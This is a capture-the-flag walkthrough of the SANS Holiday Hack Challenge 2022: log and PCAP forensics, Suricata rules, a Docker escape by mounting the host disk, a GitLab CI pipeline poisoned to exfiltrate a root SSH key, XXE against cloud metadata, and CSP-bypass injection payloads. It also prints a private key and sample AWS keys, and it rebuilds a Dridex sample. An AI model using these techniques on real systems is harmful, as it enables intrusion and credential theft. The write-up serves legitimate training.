The SANS Holiday Hack Challenge is back! And with it, the long awaited fifth edition of KringleCon!
This year challenges were covering logs and PCAP analysis, CI/CD vulnerabilities, a container escape, webapp hacking (XXE, CSP bypass), an introduction to AWS CLI for cloud discovery and an introduction to smart contracts.
KringleCon is as well an online security conference and you can find all the talks on KringleConโs Youtube channel. The same Discord channel as last year was available to interact with the community.
A special thanks goes to the whole Counter Hack team for their constant effort to make this available to the community!
Objectives
Every year, we start with a pre-objective called KringleCon Orientation that helps us starting the journey to save the Holiday Season from villains! The main task here is to create a KringleCoin wallet. We will see in the last objective what this is and what will be its usage.
1 - Recover the Tolkien Ring
1.1 Wireshark Practice
Difficulty | Objective | Location |
---|---|---|
1/5 | Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal. |
Tolkien Ring |
We are given a suspicious PCAP file to analyze and 7 questions to answer.
In Wireshark, this can be seen in the menu File -> Export Objects -> HTTP
. We can save the files to disk for further investigation.
We can export as well all HTTP files with tshark
. For instance, to extract all HTTP files in the current folder, we can run:
Answer: HTTP
As we can see highlighted in the previous question, the biggest file is 808 kB big.
Answer: app.php
As we can see highlighted in question 1, the file is found in packet 687.
Answer: 687
There are multiple ways to get the IP address. One of them is to look for the DNS queries for the webserver adv.epostoday.uk
:
Or with tshark
:
Answer: 192.185.57.242
If we download the app.php
file we can see that in its source code. A base64 encoded bytestring is decoded and saved on disk as Ref_Sept24-2020.zip
:
Answer: Ref_Sept24-2020.zip
We can filter all TLS packets that have a country code and remove all the legitimate calls to Microsoft services with the following filter: (x509sat.CountryName) && (not x509sat.printableString contains "Microsoft")
. We see 2 countries, Israel and South Sudan.
With tshark
:
IL,IL
SS,SS
Answer: Israel, South Sudan
The user has probably received a phishing email containing a malicious link to http://adv.epostoday.uk/app.php. Once clicked, the script downloads the file Ref_Sept24-2020.zip
. We can recreate the ZIP file from the encoded payload in the app.php
source code with the following commands:
$ echo $BYTES | base64 -D > Ref_Sept24-2020.zip
The ZIP file contains a malicious SCR executable (do not execute it, it’s a real malware). If we analyze the executable online, we see this is the Dridex installer. Once the user executed it, it started to communicate with the C2 servers through TLS. The 2 malicious IP addresses are 62.98.109.30 (SS) and 151.236.219.181 (IL).
Answer: Yes
1.2 Windows Event Logs
Difficulty | Objective | Location |
---|---|---|
2/5 | Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal. |
Tolkien Ring |
We are given a Powershell event log to analyze this time. The description of the challenge mentions that a keylogger was downloaded to gather admin credentials and that Powershell was used to retrieve a secret recipe for Lembanh. We need to recover the secret ingredient that was stolen.
We can start by converting the EVTX file to JSON to parse it more easily. We can use evtx_dump
from this repo and convert it with:
We then have to answer to 10 questions.
Let’s take the very first event of the logs to get the main attributes of a Windows event:
The SystemTime
value could be a good indicator of when the attack took place. The attack could have been noisy and generated lots of logs. The following command retrieves all SystemTime
values that are not null, extracts only the year-month-day value and count them:
The day with the most hits is on Christmas Eve.
Answer: 12/24/2022
We can list all the commands that were logged with:
We can see that the attacker reads first the content of the Recipe
file and then tries to replace some content with another before storing the result in a new file recipe_updated.txt
.
Answer: Recipe
As we saw in the previous question, the variable where the content of the file is retrieved is $foo
. Let’s select those lines only with:
Answer: $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}
If we retake the previous screenshot, we see that the content of $foo
is then written into 2 new files, recipe_updated.txt
and Recipe.txt
and finally appended to the original file Recipe
as well.
Answer: $foo | Add-Content -Path 'Recipe'
Still on the last screenshot, we can see it was done 3 times on Recipe.txt
.
Answer: Recipe.txt
We can look for the Remove-Item
command in the Payload
field with:
or the del
command in the ScriptBlockText
field:
Answer: Yes
The original file was Recipe
and was not deleted as we can see in the 2 previous screenshots.
Answer: No
The actual command that was ran to delete the files is del
. We can grep
the logs to retrieve the Event ID as follows:
Answer: 4104
In question 2, we saw that the attacker initially did a cat ./Recipe
. Therefore he saw the secret ingredient.
Answer: Yes
From the result of the cat ./Recipe
we can retrieve the initial recipe. We have to look for the Out-Default
Powershell command that is executed after each command that outputs a result.
We can narrow down the results as we know the recipe is about Lembanh
with:
We can then reconstruct the orginal recipe:
Recipe from Mixolydian, the Queen of Dorian
Lembanh Original Recipe
2 1/2 all purpose flour
1 Tbsp baking powder
1/4 tsp salt
1/2 c butter
1/3 c brown sugar
1 tsp cinnamon
1/2 tsp honey (secret ingredient)
2/3 c heavy whipping cream
1/2 tsp vanilla extract
Preheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.
Finally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.
Roll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet. Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).
Bake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.
Let cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices
The attacker tried to replace the secret honey
ingredient with fish oil
as part of his attack.
Answer: honey
1.3 Suricata Regatta
Difficulty | Objective | Location |
---|---|---|
3/5 | Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints. | Tolkien Ring |
In this terminal challenge, we are tasked to create multiple Suricata rules to block the C2 traffic we analyzed in the first challenge. The rules must be create in the /home/elf/suricata.rules
and can be tested by running /home/elf/rule_checker
.
The Suricata documentation can help here: https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html. We can as well take example of the other rules already configured in /home/elf/suricata.rules
.
We need a filter on the dns
protocol for dns_query
that look for the malicious website. This translates into:
When there’s a match, the message (msg) should read “Investigate suspicious connections, possible Dridex infection”.
Here the rule must be bidirectional. We can use the non-directional marker <>
.
When your rule matches, the message (msg) should read “Investigate bad certificates, possible Dridex infection”
This one is a little more tricky. We can check for the certificate issuer.
Oh, and that string might be GZip compressed - I hope that’s OK!
Just in case they try this again, please alert on that HTTP data with message “Suspicious JavaScript function, possible Dridex infection”
Nothing fancy here. the file_data
keyword can inspect base64 encoded strings by default.
2 - Recover the Elfen Ring
2.1 Clone with a Difference
Difficulty | Objective | Location |
---|---|---|
1/5 | Clone a code repository. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. | Elfen Ring |
The goal here is to clone a Git repository and get the last word of README.md
file. We are initially asked to do it with the following command:
This fails with the following error:
git@haugfactory.com: Permission denied (publickey).
fatal: Could not read from remote repository.
Please make sure you have the correct access rights and the repository exists.
We tried to clone the repository through SSH and our public SSH key is probably not allowed in the repository. Another way to clone repositories is through HTTP/S. We can simply do:
Answer: maintainers
2.2 Prison Escape
Difficulty | Objective | Location |
---|---|---|
3/5 | Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv ? |
Elf House |
For this challenge, the goal is to escape from a jailed process and access the host system to read the file /home/jailer/.ssh/jail.key.priv
.
Let’s start with some discovery. First of all we need to determine in what kind of “jail” we are in. The mount
command shows that we are in a Docker container. We can see that in the different overlay paths containing the word docker
:
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/UP3VWCCMOBLFUPP53LKFFELBQT:/var/lib/docker/overlay2/l/NYZRV6EE566LD3JY5Q7TIGWA42:/var/lib/docker/overlay2/l/247PETFPQ5W6UFKOLGLHQKDZPJ:/var/lib/docker/overlay2/l/JB62BUPPTFNFFOYJEUX26WS7VB:/var/lib/docker/overlay2/l/PWCREWRWPOFAZ475PVNTWKI3BA:/var/lib/docker/overlay2/l/QWVRNL7TBRSVRQNV6PU4GO4JXT:/var/lib/docker/overlay2/l/TWFXPHIQZBGAT4C6T6HJIIKJ44:/var/lib/docker/overlay2/l/G5OWW3UAAB5JJFUI4JGTWSHKAZ:/var/lib/docker/overlay2/l/I32VFD5VVO2ECSFVS2GNQKA3Q4:/var/lib/docker/overlay2/l/PKZQSCTMKHO2R432Q2EID56KNP,upperdir=/var/lib/docker/overlay2/f50549b9e9e3d5a4f3e0b238c187c967022ff7cc3bd746b2163ca333d76263c0/diff,workdir=/var/lib/docker/overlay2/f50549b9e9e3d5a4f3e0b238c187c967022ff7cc3bd746b2163ca333d76263c0/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/root on /config type ext4 (rw,relatime)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime)
/dev/root on /etc/hostname type ext4 (rw,relatime)
/dev/root on /etc/hosts type ext4 (rw,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
The same can be achieved with:
11:cpuset:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
10:devices:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
9:blkio:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
8:hugetlb:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
7:memory:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
6:cpu,cpuacct:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
5:net_cls,net_prio:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
4:perf_event:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
3:freezer:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
2:pids:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
1:name=systemd:/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
0::/docker/22a5a4b88bfffafd23de0fd693d20c38a89020ce0af97aefe29a4dcdb9f5759d
Next step is to define what are our privileges in the container. We run as user samways
but we have high sudoer privileges:
uid=1000(samways) gid=1000(users) groups=1000(users)
$ sudo -l
User samways may run the following commands on grinchum-land:
(ALL) NOPASSWD: ALL
$ sudo su
A good indicator of a privileged container is to list /dev
and check if we see the host’s device files (disk, ttys, loops, etc.). And this is the case here. We can as well list the host disks with:
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes
We can confirm the high privileges as well by checking the capabilities the container has with:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
0x3fffffffff
means ALL the capabilities which translates into a privileged container.
For more information about Linux capabilities, you can read https://tbhaxor.com/understanding-linux-capabilities/ and https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities.
With access to the host /dev
, we can mount the host disk in the container and interact with it:
# mkdir /tmp/host
# mount /dev/vda /tmp/host/
# cd /tmp/host
# ls -la home
total 12
drwxr-xr-x 3 root root 4096 Dec 1 19:12 .
drwxr-xr-x 18 root root 4096 Sep 28 22:40 ..
drwxr-xr-x 3 root root 4096 Dec 1 19:12 jailer
And we can read the private key of the user jailer
:
Answer: 082bb339ec19de4935867
Fun fact, the GCP metadata service is reachable from the container. We can retrieve all the metadata of the host system with:
Unfortunately, the host does not have any service-account set :)
2.3 Jolly CI/CD
Difficulty | Objective | Location |
---|---|---|
5/5 | Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring. | Elf House |
This challenge is about expoiting a Gitlab CI/CD pipeline. We are given an internal Gitlab project: http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git and we know as well that each commit will automatically trigger a GitLab runner that will automatically deploy the changes to production.
Let’s start by cloning the given project:
$ cd wordpress.flag.net.internal/
The pipeline configuration is found in the file .gitlab-ci.yml
:
$ cat .gitlab-ci.yml
stages:
ย ย - deploy
deploy-job:
ย ย stage: deploy
ย ย environment: production
ย ย script:
ย ย ย ย - rsync -e “ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy” --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html
We see that the root
SSH private key path is leaked and can be found in /etc/gitlab-runner/hhc22-wordpress-deploy
. It is used to sync the modified files in the production webserver.
If we try to commit something, we get the following error:
Author identity unknown
*** Please tell me who you are.
Run
ย ย git config --global user.email “you@example.com”
ย ย git config --global user.name “Your Name”
to set your account’s default identity.
Omit --global to set the identity only in this repository.
fatal: empty ident name (for samways@grinchum-land.flag.net.internal) not allowed
So we configure our Git user:
$ git config --global user.name "samways"
We can now commit but when we push the change we need to provide a username/password that we do not have. When looking at the commit history, we can see a weird whoops
comment in a commit:
$ git log
Author: knee-oh sporx@kringlecon.com
Date: Wed Oct 26 13:58:15 2022 -0700
ย ย ย ย updated wp-config
[โฆ]
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh sporx@kringlecon.com
Date: Tue Oct 25 13:42:54 2022 -0700
ย ย ย ย whoops
[โฆ]
We print the commit changes to see if anything went wrong:
$ git show e19f653bde9ea3de6af21a587e41e7a909db1ca5
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh sporx@kringlecon.com
Date: Tue Oct 25 13:42:54 2022 -0700
ย ย ย ย whoops
diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY------
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY------
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
An SSH private and public key were pushed to Gitlab and this commit deletes both files! We configure this key for our local user and clone again the repo using SSH this time:
$ vim .ssh/id_ed25519 # write the private key
$ chmod 400 .ssh/id_ed25519
$ rm -Rf wordpress.flag.net.internal
$ git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
This time we can push changes to the repo without being asked for a username/password! The idea here would be to modify the pipeline config to leak some Gitlab server data to our host/container. First we get our IP address with hostname -i
and try a basic curl
back to our host. We add the following line to the script
section of the .gitlab-ci.yml
file:
We commit, push, start a local web listener and wait for a ping:
No ping, let’s replace curl
with wget
just in case curl
is not installed. And this time, we get a call back leaking the output of the id
command:
Now let’s leak the root
SSH private key. We replace the script command with:
And a few seconds after the push, we get the private key:
We need to strip the superfluous %0A
characters and we can save it:
We can now use it to connect to the webserver as root
and retrieve the flag at the root of the filesystem:
$ ssh -i priv root@wordpress.flag.net.internal
We can now simply read the /flag.txt
file:
Answer: oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT
3 - Recover the Web Ring
3.1 Boria PCAP Mining
We are given a new PCAP file and the error log file of a webserver to analyze. The webserver supposedly went through an attack and we must investigate what happened by answering a few questions. From the error log we can already know the webserver IP address:
And from the PCAP file, if we filter only the http
requests, we see that our website is http://toteslegit.us
.
3.1.1 Naughty IP
Difficulty | Objective | Location |
---|---|---|
1/5 | Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints. | Web Ring |
If we look at the Statistics -> Conversation
menu, we see that one IP address generates a lot of traffic with the webserver, which can is shady and probably the attacker’s IP address:
Answer: 18.222.86.32
3.1.2 Credential Mining
Difficulty | Objective | Location |
---|---|---|
1/5 | The first attack is a brute force login. What’s the first username tried? | Web Ring |
The error log shows that the login page is /login.html
. We can use the following Wireshark filter to get all the attacker attempts:
We have 910 POST requests and the first try is packet #7279:
The password list is quite short and has 101 password. The users that are tested are:
bob
charlie
daniel
edward
felicia
goran
horatio
ingrid
Most of the tries end up with the following message: Invalid username or password
.
But there is 1 successful try and we can see at the end of the scan (packet #21457), there is a successful login with bob:passw0rd
and the attacker accesses the admin interface:
Answer: alice
3.1.3 404 FTW
Difficulty | Objective | Location |
---|---|---|
1/5 | The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack? | Web Ring |
A directory brute-force is performed by the attacker and we can see it with the following filter: (http.request.method == "GET") && (ip.src == 18.222.86.32)
. This phase starts with tcp stream 1987 and ends with stream 2449 and there are 451 tries.
We can get all the webserver successful responses with the filter ((http.response.code == 200) && (ip.dst == 18.222.86.32)) && (tcp.stream >= 1987) && (tcp.stream <= 2449)
. We get 2 hits:
The /proc
page is the first one to be discovered and only shows the message Post XML here
. The /maintenance.html
page seems to have ping
command featureโฆwe will never know if it is vulnerable to command injections ;)
Answer: /proc
3.1.4 IMDS, XXE, and Other Abbreviations
Difficulty | Objective | Location |
---|---|---|
3/5 | The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch? | Web Ring |
The attacker used a vulnerability in the /proc
page to exploit an XXE vulnerability. We can follow the steps of the attacker with this filter:
If we follow the HTTP streams for each call we see:
- tcp stream 2699: test if system commands can be ranโฆthey can’t:
- tcp stream 2730: test if system files can be readโฆthey can:
- tcp stream 2762: test if remote hosts can be called (SSRF)โฆthey can:
- tcp stream 2801: test if the cloud provider metadata service is reachableโฆit is:
The following call is done on http://169.254.169.254/latest/meta-data/identity-credentials/ec2/
(stream 2838) and the result shows the folder info
and security-credentials
. Next query is to http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials
(stream 2875) that returns the identity role name of the host: ec2-instance
. Last query is done with the role name to get the host credentials (stream 2907):
With those credentials, we can impersonate the EC2 instance and do AWS calls with the same permissions as the instance.
Answer: http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
3.2 Open Boria Mine Door
Difficulty | Objective | Location |
---|---|---|
3/5 | Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge. | Web Ring |
This is a Javascript challenge where we have some locks
to unlock by creating a path
between the left and right pin(s). Some doors have a Content Security Policy (CSP) that we need to bypass.
Each door
is an iframe pointing to https://hhc22-novel.kringlecon.com/pin<number> and the goal is to link them all. We need to pay attention to the pins' color as well:
Lock 1
For this first lock, we can simply look at the source code of the page and see a comment: <!-- @&@&&W&&W&&&& -->
. We unlock it by entering this string in the edit box:
Lock 2
The source code of the second pin show the following CSP:
If we translate theabove in human terms:
- The
default-src
directive defines the default policy for fetching JS, images, CSS, etc. resources. - The
script-src
directive defines what are the valid sources of Javascript. - The
style-src
directive defins what are the valid sources of CSS. - The source list
self
allows loading resources from the same origin (scheme, host and port). - The source list
unsafe-inline
allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs.
In other words, we can use in-line HTML tags with inline CSS. So we can write any text, make sure to have a big size as the pins are not on the same horizontal line, translate it down and make sure the letter spacing is negative so all the letters will touch. This is one possible solution:
Another solution, this time involving text rotation and the same text as for pin 1 could be:
Lock 3
For the third lock, the CSP is:
This means we cannot use inline CSS anymore, however, we can use inline Javascript! The idea here is to apply the CSS through JS and make sure the text color is blue. Here are 2 possible solutions:
<script>document.write("<div id=\"t\">&@&@&&W&&W&&&&&&</div>"); var element = document.getElementById("t"); element.style="translate:-8px 42px; transform:rotate(-22deg); letter-spacing: -5px; color:blue;";</script>
or
<script>document.write("<div id=\"t\">WWWWW</div>"); var element = document.getElementById("t"); element.style="font-size:4.5em;translate:-50px -40px;letter-spacing: -10px;color:blue;";</script>
At this point we have passed the challengeโฆbut there are 3 bonus locks to unlock!
Bonus - Lock 4
For this one, there is no CSP but the following input sanitization function:
|
|
Some characters are stripped. However, only the first occurrence of those characters are stripped. Therefore, the following input bypasses the check and unlock the lock:
Bonus - Lock 5
Here we have the same CSP as Lock 3 and the input sanitization function has changed to strip now all occurrences of the characters. What saves us here is that the input validation is only done client-side. We can intercept the with our favourite proxy (e.g. Burp) and send out input directly to the server without being validated.
A possible solution would be:
Bonus - Lock 6
The last lock has a more restrictive CSP:
We cannot use in-line CSS not Javascript. Let’s use HTML SVG graphics for this one as they do no involve JS not CSS to manipulate shapes and colors. We can keep thinks simple and create basic rectangles of the appropriate color. A solution would be:
Notice that we could have used SVG for all other locks similarly to bypass CSP.
3.3 Glamtariel’s Fountain
Difficulty | Objective | Location |
---|---|---|
5/5 | Stare into Glamtariel’s fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints. | Fountain |
We are presented with a website where we can drag and drop images either on the Glamtariel character or on the fountain image. This will result each time in different text outputs.
Once we have dragged and drop the 4 images on both Glamtariel and the fountain, we have 4 new images with new text outputs. Then another 4. The outputs can give us hints on how to solve the challenge. The hints are showed in CAPITAL letters and they are the following:
PATH
APP
TYPE
SIMPLE FORMAT
RINGLIST
TRAFFIC FLIES
The messages says that Glamtariel keeps a secret RINGFILE
list that is in a SIMPLE FORMAT
file. The goal is to find the secret PATH
where the RINGLIST
file is hidden and try to get its content. Glamtariel says as well that she speaks many different TYPE
of languages.
Interesting thing that when the PATH
and APP
keyword are shown, the image of an eye is shown and its path is: https://glamtarielsfountain.com/static/images/stage2ring-eyecu_2022.png. The image of Glamtariel and the fountain are in the same folder: https://glamtarielsfountain.com/static/images/2022_glamtariel_2022.png, https://glamtarielsfountain.com/static/images/2022_icefountain_2022.png.
Let’s have a look at a call when an image is dragged and dropped:
We have many info here:
-
the endpoint is
/dropped
-
the payload is a JSON object that contains the name of the image dropped, the character on which it’s dropped on (
princess
orfountain
) and the type of the request (json
). -
the header
X-Grinchum
that contains a CSRF token. We break the call as soon as we tamper it. We get the following response and image:
{
ย ย “appResp”: “Trying to TAMPER with Kringle’s favorite cookie recipe or the entrance tickets can’t help you Grinchum! I’m not sure what you are looking for but it isn’t here! Get out!^Miserable trickster! Please click him out of here.”,
ย ย “droppedOn”: “none”,
ย ย “visit”: “static/images/grinchum-supersecret_9364274.png,265px,135px”
}We have then to reset the website and start over.
-
Playing with the cookie
MiniLembanh
seems to lead to the same results as the CSRF token
By playing with some values in the payload, we get that:
imgDrop
must be an existing imagewho
only accepts theprincess
andfountain
reqType
acceptsjson
andxml
. The message we get when using XML is “We don’t speak that way very often any more. Once in a while perhaps, but only at certain times.^I don’t hear her use that very often. I think only for certain TYPEs of thoughts.”
Let’s try to change the whole payload to XML:
|
|
We need to change as well the Content-Type
header to application/xml
and we get a new message from the princess:
If we try on the fountain we get the message “I’m one of the few who can discuss anything using that TYPE of language.^Yeah, I can understand a bit, but not communicate with it at all.”. So let’s continue with the princess. We can now definitely try to exploit some XXE vulnerability.
Let’s try some XXE payloads. This will probably be a blind XXE as there is no field that could display any value back. The who
value was returned in the answer with JSON payloads but with XML’s, only none
is returned. We can use any service to catch the webserver call (e.g. ngrok, requestcatcher.com)
|
|
But no answer.
Glamtariel accepts images (or generic files) as input and will comment it. What if we try to send her an image we saw earlier? The only missing piece is the website document root. However, in the hints above, we have APP
which could be it. Let’s try:
|
|
We get the following answer “Sorry, we dont know anything about that.^Sorry, we dont know anything about that.”. We tried other existing images with the same result. After a few tries and errors, and knowing that we are looking for a RINGLIST
file that has a SIMPLE FORMAT
, we found the right file and path: /app/static/images/ringlist.txt
. When we submit that in the payload:
|
|
We get the following answer:
ย ย “appResp”: “Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don’t keep any secrets in it any more! Please though, don’t tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)”,
ย ย “droppedOn”: “none”,
ย ย “visit”: “static/images/pholder-morethantopsupersecret63842.png,262px,100px”
}
The image is:
We can read the name of a folder x_phial_pholder_2022
and 2 files, bluering.txt
and redring.txt
. Using the same payload, let’s share those 2 files with Glamtariel and see her answer:
-
/app/static/images/x_phial_pholder_2022/bluering.txt
“I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I’m not so sure though.” -
/app/static/images/x_phial_pholder_2022/redring.txt
“Hmmm, you still seem awfully interested in these rings. I can’t blame you, they are pretty nice.^Oooooh, I can just tell she’d like to talk about them some more.”
Nothing new here. We try to discover other ring colors and we get a hit with silverring
:
/app/static/images/x_phial_pholder_2022/silverring.txt
ย ย “appResp”: “I’d so love to add that silver ring to my collection, but what’s this? Someone has defiled my red ring! Click it out of the way please!.^Can’t say that looks good. Someone has been up to no good. Probably that miserable Grinchum!”,
ย ย “droppedOn”: “none”,
ย ย “visit”: “static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px”
}
We can read on the ring: goldring_to_be_deleted.txt
. So we give that to Glamtariel again:
/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt
“Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you’ve made a pretty bold REQuest. That’s ok, but even if I knew anything about such things, I’d only use a secret TYPE of tongue to discuss them.^She’s definitely hiding something.”
We get 2 new hints in capital letters, REQ
and TYPE
. The message seems to mention that we need to change the injection point to the reqType
value now. So we try the payload:
|
|
And we getโฆnothing. We have to choose the silver ring as input image, which is img1
! And we get the final response:
ย ย “appResp”: “No, really I couldn’t. Really? I can have the beautiful silver ring? I shouldn’t, but if you insist, I accept! In return, behold, one of Kringle’s golden rings! Grinchum dropped this one nearby. Makes one wonder how ‘precious’ it really was to him. Though I haven’t touched it myself, I’ve been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!”,
ย ย “droppedOn”: “none”,
ย ย “visit”: “static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px”
}
Answer: goldring-morethansupertopsecret76394734.png
4 - Recover the Cloud Ring
4.1 AWS CLI Intro
Difficulty | Objective | Location |
---|---|---|
1/5 | Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints. | Cloud Ring |
This is not a real challenge but more an introduction to aws cli
. We need to follow what is shown in the terminal. After reading the output of aws help
, we are asked to configure come credentials for the CLI.
The credentials are configured as follows:
AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]:
The result is a ~/.aws/config
file that contains:
region = us-east-1
and a ~/.aws/credentials
that contains our credentials in clearโฆnot very secure:
aws_access_key_id = AKQAAYRKO7A5Q5XUY2IY
aws_secret_access_key = qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
It would be better to use a more secure way to store credentials, like using aws-vault
and store credentials in an encrypted key vault.
{
ย ย “UserId”: “AKQAAYRKO7A5Q5XUY2IY”,
ย ย “Account”: “602143214321”,
ย ย “Arn”: “arn:aws:iam::602143214321:user/elf_helpdesk”
}
This command is used to check what user or role we have assumed with our credentials.
4.2 Trufflehog Search
Difficulty | Objective | Location |
---|---|---|
2/5 | Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What’s the name of the file that has AWS credentials? | Cloud Ring |
For this challenge we are given a Git repository and we have to use trufflehog
to look for secrets that could have been commit.
We first install trufflehog
(we need to have Go installed):
